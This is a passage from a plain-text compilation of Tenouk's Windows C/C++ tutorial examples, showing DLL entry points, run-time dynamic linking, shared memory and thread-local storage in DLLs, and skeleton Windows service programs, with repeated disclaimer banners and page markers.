| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:

file:///C|/Tutorial.txt (873 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

#include <windows.h>

BOOL WINAPI DllMain(


HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved) // reserved
{
// Perform actions based on the reason for calling.
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
break;

case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;

case DLL_THREAD_DETACH:
// Do thread-specific cleanup.
break;

case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;
}
// Successful DLL_PROCESS_ATTACH.
return TRUE;
}

------------------------------------------------------------------------------------------------

// Project name: mydllpro, File name: mysrcdll.cpp, generating mydllpro.dll, mydllpro.lib...


// The mydll function writes a null-terminated string to

file:///C|/Tutorial.txt (874 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// the standard output device...


// The export mechanism used here is the __declspec(export)
// method supported by Microsoft Visual Studio, but any
// other export method supported by your development
// environment may be substituted.
// For WinXp, don't forget to add
// Advapi32.lib library if needed...
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>
#define EOF (-1)

#ifdef __cplusplus // If used by C++ code,


extern "C" { // we need to export the C interface
#endif

__declspec(dllexport) int mydll(LPTSTR lpszMsg)


{
DWORD cchWritten;
HANDLE hStdout;
BOOL fRet;

printf("-This is mydll.dll file lol!-\n");


// Get a handle to the standard output device.
hStdout = GetStdHandle(STD_OUTPUT_HANDLE);

if (INVALID_HANDLE_VALUE == hStdout)
{
// failed to get the handle, give some message, get error code, just exit...
printf("GetStdHandle(), invalid handle, error: GetLastError().\n");
return EOF;
}
else
printf("GetStdHandle(), standard handle is OK.\n");

// Write a null-terminated string to the standard output device.


while (*lpszMsg != '\0')
{
fRet = WriteFile(hStdout, lpszMsg, 1, &cchWritten, NULL);
if ((fRet == FALSE) || (cchWritten != 1))
// If something wrong just exit or provide meaningful message/error code...
return EOF;
// else, write more...
lpszMsg++;
}
printf("\n");
return 1;
}
#ifdef __cplusplus
}
#endif

-------------------------------------------------------------------------------------------------------

// File: mydllloadtime.cpp
// A simple program that uses mydll() from mydllpro.dll.

file:///C|/Tutorial.txt (875 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// For WinXp, don't forget to add


#define _WIN32_WINNT 0x0501
#include <windows.h>

// call to a function in the mydllpro.dll


__declspec(dllimport) int mydll(LPTSTR);
// Another form: int mydll(LPTSTR);

int main()
{
int Ret = 1;

Ret = mydll("This message was printed using the DLL function");


return Ret;
}

-------------------------------------------------------------------------------------------------------

// File: testmydllruntime.cpp
// Using Run-Time Dynamic Linking
// A simple program that uses LoadLibrary() and
// GetProcAddress() to access mydll() in mydllpro.dll.
// For WinXp, don't forget to add
#define _WIN32_WINNT 0x0501
#include <stdio.h>
#include <windows.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to our DLL module created in the previous example.


hinstLib = LoadLibrary("mydllpro");

// If the handle is valid, try to get the function address.


if (hinstLib != NULL)
{
printf("The dll handle is valid...\n");
ProcAdd = (MYPROC) GetProcAddress(hinstLib, "mydll");

// If the function address is valid, call the function.


if (ProcAdd != NULL)
{
printf("The function address is valid...\n\n");
fRunTimeLinkSuccess = TRUE;
// Pass some text, mydll() will display it on the standard output...
(ProcAdd) ("\nThis message is via DLL function...\n");
}
else
printf("\nThe function address is NOT valid, error: %d.\n", GetLastError());

// Free the DLL module.

file:///C|/Tutorial.txt (876 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

fFreeResult = FreeLibrary(hinstLib);

if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK, error: %d.\n", GetLastError());
}
else
printf("The dll handle is not valid, error: %d.\n", GetLastError());

// If unable to call the DLL function, use an alternative.


if (!fRunTimeLinkSuccess)
printf("This message via alternative method...\n");

return 0;
}

-------------------------------------------------------------------------------------------------------

// Project name: moredll, File name: dllentryfunc.cpp generating moredll.dll


// but no moredll.lib! The DLL entry-point function sets up shared memory using
// a named file-mapping object.
#include <windows.h>
#include <stdio.h>
#include <memory.h>

#define SHMEMSIZE 4096

static LPVOID lpvMem = NULL; // pointer to shared memory


static HANDLE hMapObject = NULL; // handle to file mapping

BOOL DllMain(HINSTANCE hinstDLL, // DLL module handle


DWORD fdwReason, // reason called
LPVOID lpvReserved) // reserved
{
BOOL fInit, fIgnore;

switch (fdwReason)
{
// The DLL is loading due to process
// initialization or a call to LoadLibrary.
case DLL_PROCESS_ATTACH:
printf("The DLL is loading...from moredll.dll.\n");
// Create a named file mapping object.
hMapObject = CreateFileMapping(
INVALID_HANDLE_VALUE, // use paging file
NULL, // default security attributes
PAGE_READWRITE, // read/write access
0, // size: high 32-bits
SHMEMSIZE, // size: low 32-bits
"dllmemfilemap"); // name of map object
if (hMapObject == NULL)
return FALSE;
else
printf("CreateFileMapping() is OK.\n");

file:///C|/Tutorial.txt (877 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// The first process to attach initializes memory.


fInit = (GetLastError() != ERROR_ALREADY_EXISTS);

// Get a pointer to the file-mapped shared memory.


lpvMem = MapViewOfFile(
hMapObject, // object to map view of
FILE_MAP_WRITE, // read/write access
0, // high offset: map from
0, // low offset: beginning
0); // default: map entire file

if (lpvMem == NULL)
return FALSE;
else
printf("MapViewOfFile() is OK.\n");

// Initialize memory if this is the first process.


if (fInit)
memset(lpvMem, '\0', SHMEMSIZE);
break;

// The attached process creates a new thread.


case DLL_THREAD_ATTACH:
printf("The attached process creates a new thread...from moredll.dll.\n");
break;

// The thread of the attached process terminates.


case DLL_THREAD_DETACH:
printf("The thread of the attached process terminates... from moredll.dll.\n");
break;

// The DLL is unloading from a process due to


// process termination or a call to FreeLibrary().
case DLL_PROCESS_DETACH:
printf("The DLL is unloading from a process... from moredll.dll.\n");
// Unmap shared memory from the process's address space.
fIgnore = UnmapViewOfFile(lpvMem);

// Close the process's handle to the file-mapping object.


fIgnore = CloseHandle(hMapObject);
break;

default:
printf("Reason called not matched, error if any: %d... from moredll.dll.\n", GetLastError());
break;
}
return TRUE;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpvReserved);
}

// Can be commented out for this example...


// SetSharedMem() sets the contents of shared memory.
VOID SetSharedMem(LPTSTR lpszBuf)
{
LPTSTR lpszTmp = "Testing some string";

file:///C|/Tutorial.txt (878 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Get the address of the shared memory block.


lpszTmp = (LPTSTR) lpvMem;

// Copy the null-terminated string into shared memory.


while (*lpszBuf)
*lpszTmp++ = *lpszBuf++;
*lpszTmp = '\0';
printf("The content: %s.\n", lpszTmp);
}

// Can be commented out for this example...


// GetSharedMem() gets the contents of shared memory.
VOID GetSharedMem(LPTSTR lpszBuf, DWORD cchSize)
{
LPTSTR lpszTmp;

// Get the address of the shared memory block.


lpszTmp = (LPTSTR) lpvMem;

// Copy from shared memory into the caller's buffer.


while (*lpszTmp && --cchSize)
*lpszBuf++ = *lpszTmp++;
*lpszBuf = '\0';
printf("The caller buffer: %s.\n", lpszBuf);

-------------------------------------------------------------------------------------------------------

// File: testdll.cpp, using moredll.dll that uses Dllmain()


// Using Run-Time Dynamic Linking
// A simple program that uses LoadLibrary() and
// GetProcAddress() to access Dllmain() of moredll.dll.
// No function to be exported, just testing...

#include <stdio.h>
#include <windows.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

// Get a handle to our DLL module, moredll.dll...this module has been copied
// to C:\WINDOWS\System32 directory...
hinstLib = LoadLibrary("moredll");

// If the handle is valid, try to get the function address.


if (hinstLib != NULL)
{
printf("The DLL handle is valid...\n");
ProcAdd = (MYPROC) GetProcAddress(hinstLib, "Anonymfunction");

file:///C|/Tutorial.txt (879 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// If the function address is valid, call the function.


if (ProcAdd != NULL)
{
printf("The function address is valid...\n\n");
fRunTimeLinkSuccess = TRUE;
// Ready to execute DLLmain()...
}
else
printf("The function address is not valid, error: %d.\n", GetLastError());
}
else
printf("\nThe DLL handle is NOT valid, error: %d\n", GetLastError());

// Free the DLL module.


fFreeResult = FreeLibrary(hinstLib);

if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------

// Project name: moredll, File name: dllntls.cpp, generating moredll.dll


// Using Thread Local Storage in a Dynamic Link Library
#include <windows.h>
#include <stdio.h>

static DWORD dwTlsIndex; // address of shared memory

// DllMain() is the entry-point function for this DLL.


BOOL DllMain(HINSTANCE hinstDLL, // DLL module handle
DWORD fdwReason, // reason called
LPVOID lpvReserved) // reserved
{
LPVOID lpvData;
BOOL fIgnore;

switch (fdwReason)
{
// The DLL is loading due to process
// initialization or a call to LoadLibrary.
case DLL_PROCESS_ATTACH:
printf("Loading the DLL...\n");
// Allocate a TLS index.
if ((dwTlsIndex = TlsAlloc()) == 0xFFFFFFFF)
return FALSE;
// No break: Initialize the index for first thread.

// The attached process creates a new thread.


case DLL_THREAD_ATTACH:
printf("The attached process creating a new thread...\n");

file:///C|/Tutorial.txt (880 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Initialize the TLS index for this thread.


lpvData = (LPVOID) LocalAlloc(LPTR, 256);
if (lpvData != NULL)
fIgnore = TlsSetValue(dwTlsIndex, lpvData);
break;

// The thread of the attached process terminates.


case DLL_THREAD_DETACH:
printf("The thread of the attached process terminates...\n");
// Release the allocated memory for this thread.
lpvData = TlsGetValue(dwTlsIndex);
if (lpvData != NULL)
LocalFree((HLOCAL) lpvData);
break;

// DLL unload due to process termination or FreeLibrary.


case DLL_PROCESS_DETACH:
printf("DLL unloading...\n");
// Release the allocated memory for this thread.
lpvData = TlsGetValue(dwTlsIndex);
if (lpvData != NULL)
LocalFree((HLOCAL) lpvData);

// Release the TLS index.


TlsFree(dwTlsIndex);
break;

default:
printf("Reason called not matched, error if any: %d...\n", GetLastError());
break;
}

return TRUE;
UNREFERENCED_PARAMETER(hinstDLL);
UNREFERENCED_PARAMETER(lpvReserved);
}

-----------------------------------------------------------------------------------------------------------

// File: testdll.cpp, using moredll.dll that uses Dllmain()


// Using Run-Time Dynamic Linking
// A simple program that uses LoadLibrary() and
// GetProcAddress() to access Dllmain() of moredll.dll.
// No function to be exported/imported, just testing...

#include <stdio.h>
#include <windows.h>

typedef void (*MYPROC)(LPTSTR);

int main()
{
HINSTANCE hinstLib;
MYPROC ProcAdd;
BOOL fFreeResult, fRunTimeLinkSuccess = FALSE;

file:///C|/Tutorial.txt (881 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Get a handle to our DLL module, moredll.dll...this module has been copied
// to C:\WINDOWS\System32 directory...
hinstLib = LoadLibrary("moredll");

// If the handle is valid, try to get the function address.


if (hinstLib != NULL)
{
printf("The DLL handle is valid...\n");
ProcAdd = (MYPROC) GetProcAddress(hinstLib, "Anonymfunction");

// If the function address is valid, call the function.


if (ProcAdd != NULL)
{
printf("The function address is valid...\n\n");
fRunTimeLinkSuccess = TRUE;
// Ready to execute DllMain()...
}
else
printf("The function address is not valid, error: %d.\n", GetLastError());
}
else
printf("\nThe DLL handle is NOT valid, error: %d\n", GetLastError());

// Free the DLL module.


fFreeResult = FreeLibrary(hinstLib);

if (fFreeResult != 0)
printf("FreeLibrary() is OK.\n");
else
printf("FreeLibrary() is not OK.\n");

return 0;
}

============================MODULEDD=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>

file:///C|/Tutorial.txt (882 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

---------------------------------- No source codes-----------------------------


============================MODULEE=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
If you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...

file:///C|/Tutorial.txt (883 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (It is C++ header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module 23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes, let the compiler
decide... :o)
==============================================================================================
=======================Just Microsoft & Standard C Codes HERE=================================

// For WinXp, don't forget to add


// Advapi32.lib library if needed...
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

// Prototypes, just empty skeletons...


void SvcDebugOut(LPSTR String, DWORD Status);
void WINAPI MyServiceCtrlHandler(DWORD opcode);
void MyServiceStart(DWORD argc, LPTSTR *argv);
DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError);

void main()
{
// Using 2-D array as a table...
// The name of a service to be run in this service process - "MyService",
// The function as the starting point for a service - MyServiceStart or
// a pointer to a ServiceMain() function...
// The members of the last entry in the table must have NULL values
// to designate the end of the table...
SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", (LPSERVICE_MAIN_FUNCTION)MyServiceStart}, {NULL,
NULL}};

if (!StartServiceCtrlDispatcher(DispatchTable))
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d\n", GetLastError());
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}

file:///C|/Tutorial.txt (884 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// ==========================================================================
// Prototype definitions...just skeletons here...
void WINAPI MyServiceCtrlHandler(DWORD opcode)
{
// Service control information here...
return;
}

void MyServiceStart(DWORD argc, LPTSTR *argv)


{
// Starting service information here...
return;
}

DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError)


{
// Service initialization information here...
return 0;
}

// Very simple info to the standard output...


void SvcDebugOut(LPSTR String, DWORD Status)
{
CHAR Buffer[1024];

printf("In SvcDebugOut() lol!\n");


if (strlen(String) < 1000)
{
sprintf(Buffer, String, Status);
OutputDebugStringA(Buffer);
}
else
printf("String too long...\n");

return;
}

----------------------------------------------------------------------------------------------------

// For WinXp
// Just another skeleton example as previous one...
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;

DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError);


// Application define ServiceMain()...
void WINAPI MyServiceStart(DWORD argc, LPTSTR *argv);
void WINAPI MyServiceCtrlHandler(DWORD opcode);
void SvcDebugOut(LPSTR String, DWORD Status);

void main()
{

file:///C|/Tutorial.txt (885 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart}, {NULL, NULL}};

if (!StartServiceCtrlDispatcher(DispatchTable))
{
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d.\n", GetLastError());
}
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}

// Stub initialization function...


DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError)
{
*argv;
argc;
specificError;
// should return status...
return 0;
}

void WINAPI MyServiceStart(DWORD argc, LPTSTR *argv)


{
DWORD status;
DWORD specificError;

// Type of service, application or driver...


MyServiceStatus.dwServiceType = SERVICE_WIN32;
// The service is starting...
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
// The service can be stopped & can be paused and continued.
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService", MyServiceCtrlHandler);

if (MyServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
SvcDebugOut("[MY_SERVICE] RegisterServiceCtrlHandler() failed, error: %d.\n", GetLastError());
return;
}
else
printf("RegisterServiceCtrlHandler() looks OK.\n");

//===============================================================
// Initialization code goes here. Return the status...
status = MyServiceInitialization(argc, argv, &specificError);

// Handle error condition


if (status != NO_ERROR)
{
// The service is not running...
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;

file:///C|/Tutorial.txt (886 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = status;
MyServiceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}

// Initialization complete - report running status.


MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("SetServiceStatus() error: %ld\n", status);
}
else
printf("SetServiceStatus() looks OK.\n");

// By assuming starting and initializing the service is OK, this


// is where the service does its work...
SvcDebugOut("Returning the Main Thread.\n", 0);

return;
}

void WINAPI MyServiceCtrlHandler(DWORD opcode)


{
// Just a skeleton here...
}

void SvcDebugOut(LPSTR String, DWORD Status)


{
CHAR Buffer[1024];

if (strlen(String) < 1000)


{
sprintf(Buffer, String, Status);
OutputDebugStringA(Buffer);
}
else
printf("String too long...\n");
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;

file:///C|/Tutorial.txt (887 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError);


void WINAPI MyServiceStart(DWORD argc, LPTSTR *argv);
void WINAPI MyServiceCtrlHandler(DWORD opcode);
void SvcDebugOut(LPSTR String, DWORD Status);

void main()
{
SERVICE_TABLE_ENTRY DispatchTable[] = {{"MyService", MyServiceStart}, {NULL, NULL}};

if (!StartServiceCtrlDispatcher(DispatchTable))
SvcDebugOut("StartServiceCtrlDispatcher() failed, error: %d.\n", GetLastError());
else
printf("StartServiceCtrlDispatcher() looks OK.\n");
return;
}

// Stub initialization function...


DWORD MyServiceInitialization(DWORD argc, LPTSTR *argv, DWORD *specificError)
{
*argv;
argc;
specificError;
return 0;
}

void WINAPI MyServiceStart(DWORD argc, LPTSTR *argv)


{
DWORD status;
DWORD specificError;

// Type of service, application or driver...


MyServiceStatus.dwServiceType = SERVICE_WIN32;
// The service is starting...
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
// The service can be stopped & can be paused and continued.
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

MyServiceStatusHandle = RegisterServiceCtrlHandler("MyService", MyServiceCtrlHandler);

if (MyServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
{
SvcDebugOut("RegisterServiceCtrlHandler() failed, error: %d.\n", GetLastError());
return;
}
else
printf("RegisterServiceCtrlHandler() looks OK.\n");

// Initialization code goes here...return the status...


status = MyServiceInitialization(argc, argv, &specificError);

// Handle error condition


if (status != NO_ERROR)

file:///C|/Tutorial.txt (888 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
// The service is not running...
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = status;
MyServiceStatus.dwServiceSpecificExitCode = specificError;

SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}

// Initialization complete - report running status.


MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("SetServiceStatus() error: %ld\n", status);
}
else
printf("SetServiceStatus() looks OK.\n");

// This is where the service does its work...


SvcDebugOut("Returning the Main Thread.\n", 0);

return;
}

// Handler function - receives Opcode, calls SetServiceStstus()


void WINAPI MyServiceCtrlHandler(DWORD Opcode)
{
DWORD status;
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here...
MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;

case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here...
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;

case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here...
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;

if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{

file:///C|/Tutorial.txt (889 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

status = GetLastError();
SvcDebugOut("[MY_SERVICE] SetServiceStatus() error: %ld\n", status);
}
SvcDebugOut("Leaving MyService.\n", 0);
return;

case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;

default:
// else
SvcDebugOut("Unrecognized opcode %ld.\n", Opcode);
}

// Send current status.


if (!SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus))
{
status = GetLastError();
SvcDebugOut("SetServiceStatus error %ld.\n", status);
return;
}
else
printf("SetServiceStatus() is OK.\n");
}

// Some debug info...


void SvcDebugOut(LPSTR String, DWORD Status)
{
CHAR Buffer[1024];

if (strlen(String) < 1000)


{
sprintf(Buffer, String, Status);
OutputDebugStringA(Buffer);
}
else
printf("Too many string...\n");
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>

HANDLE hStopEvent;
// Three thread handle...
HANDLE hThreads[3] = {NULL, NULL, NULL};
LPTSTR lpszServiceName;
SERVICE_STATUS_HANDLE ssh;

DWORD WINAPI ThreadProc(LPVOID lpParameter);


// Service start...

file:///C|/Tutorial.txt (890 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

void WINAPI Service_Main(DWORD dwArgc, LPTSTR *lpszArgv);


// Service control...
void WINAPI Service_Ctrl(DWORD dwCtrlCode);
// Stop service...
void ErrorStopService(LPTSTR lpszAPI);
void SetTheServiceStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwCheckPoint, DWORD dwWaitHint);

// Entry point for service. Calls StartServiceCtrlDispatcher()


// and then blocks until the Service_Main() function returns...
// void wmain(int argc, wchar_t *argv[])
void _tmain(int argc, TCHAR *argv[])
{
SERVICE_TABLE_ENTRY ste[] =
{{TEXT("Myservice"), (LPSERVICE_MAIN_FUNCTION)Service_Main}, {NULL, NULL}};

if (!StartServiceCtrlDispatcher(ste))
{
TCHAR error[256];

wsprintf(error, TEXT("Error code for StartServiceCtrlDispatcher(): %u.\n"), GetLastError());


OutputDebugString(error);
}
else
OutputDebugString(TEXT("StartServiceCtrlDispatcher() returned!\n"));
}

// Called by the service control manager after the call to


// StartServiceCtrlDispatcher()...
void WINAPI Service_Main(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD ThreadId;
DWORD t;
DWORD dwWaitRes;

// Obtain the name of the service...


lpszServiceName = lpszArgv[0];

// Register the service ctrl handler...


ssh = RegisterServiceCtrlHandler(lpszServiceName, (LPHANDLER_FUNCTION)Service_Ctrl);

// Create the event to signal the service to stop...


hStopEvent = CreateEvent(NULL, TRUE, FALSE, "ThisIsMyEvent");
if (hStopEvent == NULL)
ErrorStopService(TEXT("CreateEvent()"));
else
printf("CreateEvent() looks OK.\n");

// Insert one-time work that you want to complete before starting.


for (t = 0; t < 3; t++)
{
hThreads[t] = CreateThread(NULL, 0, ThreadProc, (LPVOID)t, 0, &ThreadId);
if (hThreads[t] == INVALID_HANDLE_VALUE)
ErrorStopService(TEXT("CreateThread()"));
else
printf("CreateThread() looks OK.\n");

file:///C|/Tutorial.txt (891 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf("Thread ID: %lu.\n", ThreadId);


}

// The service has started...


SetTheServiceStatus(SERVICE_RUNNING, 0, 0, 0);
OutputDebugString(TEXT("SetTheServiceStatus(), SERVICE_RUNNING.\n"));

// Main loop for the service...


while(WaitForSingleObject(hStopEvent, 1000) != WAIT_OBJECT_0)
{
printf("Main loop for the service...\n");
/***************************************************************/
// Main loop for service.
/***************************************************************/
}

// Wait for threads to exit...


for (t = 1; TRUE; t++)
{
if ((dwWaitRes = WaitForMultipleObjects(3, hThreads, TRUE, 1000)) == WAIT_OBJECT_0)
break;
else if ((dwWaitRes == WAIT_FAILED) || (dwWaitRes==WAIT_ABANDONED))
ErrorStopService(TEXT("WaitForMultipleObjects()"));
else
SetTheServiceStatus(SERVICE_STOP_PENDING, 0, t, 3000);
}

// Close the event handle and the thread handle.


if (!CloseHandle(hStopEvent))
ErrorStopService(TEXT("CloseHandle()"));
if (!CloseHandle(hThreads[0]))
ErrorStopService(TEXT("CloseHandle()"));
if (!CloseHandle(hThreads[1]))
ErrorStopService(TEXT("CloseHandle()"));
if (!CloseHandle(hThreads[2]))
ErrorStopService(TEXT("CloseHandle()"));

// Stop the service.


OutputDebugString(TEXT("SetTheServiceStatus(), SERVICE_STOPPED.\n"));
SetTheServiceStatus(SERVICE_STOPPED, NO_ERROR, 0, 0);
}

// Handles control signals from the service control manager...


// WINAPI - using __stdcall convention explicitly instead of __cdecl...
void WINAPI Service_Ctrl(DWORD dwCtrlCode)
{
DWORD dwState = SERVICE_RUNNING;

switch (dwCtrlCode)
{
case SERVICE_CONTROL_STOP:
dwState = SERVICE_STOP_PENDING;
break;

case SERVICE_CONTROL_SHUTDOWN:
dwState = SERVICE_STOP_PENDING;

file:///C|/Tutorial.txt (892 of 916)10/27/2010 10:58:31 AM


